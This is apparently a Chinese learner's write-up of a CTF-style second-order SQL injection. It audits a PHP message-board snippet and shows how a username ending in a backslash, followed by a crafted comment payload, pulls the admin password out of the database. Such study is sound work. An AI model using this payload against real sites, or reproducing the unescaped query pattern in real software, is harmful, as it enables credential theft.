原先遇到过二次注入的题目,当时不太清楚原理暑假有时间记录学习一下,下面找一个简单的例子帮助理解
1.原理
二次注入就是在字符型注入时,没有对用户输入的一些特殊字符进行过滤,导致用户可以先构造注入闭合单引号,再通过第二次构造注入语句,在第一次注入的基础上再进行注入
2.代码审计
下面给出一个留言板的代码1
2
3
4
5
6if (isset($_POST['submit']) && !empty($_POST['message']) && isset($_SESSION['username'])) {
$clean_message = clean_input($_POST['message']);
$query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())";
mysql_query($query, $conn) or die(mysql_error());
mysql_close($conn);
header('Location: message.php');
可以看到在处理POST过来的变量时只对输入的字符串加上了单引号,然后直接带入SQL语句进行查询
我们来看SQL语句:1
$query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())";
注入的条件为$_SESSION[user_name]和$clean_message
那我们可以构造语句转义1
$query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxx\',',(),1);#',now())
那么我们可以通过注册一个名为xxx\的用户,使用这个用户留言时就会触发我们构造的payload为:1
,(select admin_pass from admin limit 0,1),1);#
整个语句下来就是1
$query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxx\',',(select admin_pass from admin limit 0,1),1);#',now())
留言板输入,就可以看到返回了管理员的账号密码了
这道题产生二次注入的原因就是没有对用户注册的参数进行严格的过滤
3.补充知识点
mysql_real_escape_string(stripslashes($dirty))其中dirty为我们输入的用户名
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
例如我们输入xxx\他就被转义成了xxx\但是由于函数的特性,他使用的是mysql的函数进行过滤,进入数据库后还是xxx\
stripslashes函数的作用可以是删除$dirty变量中的\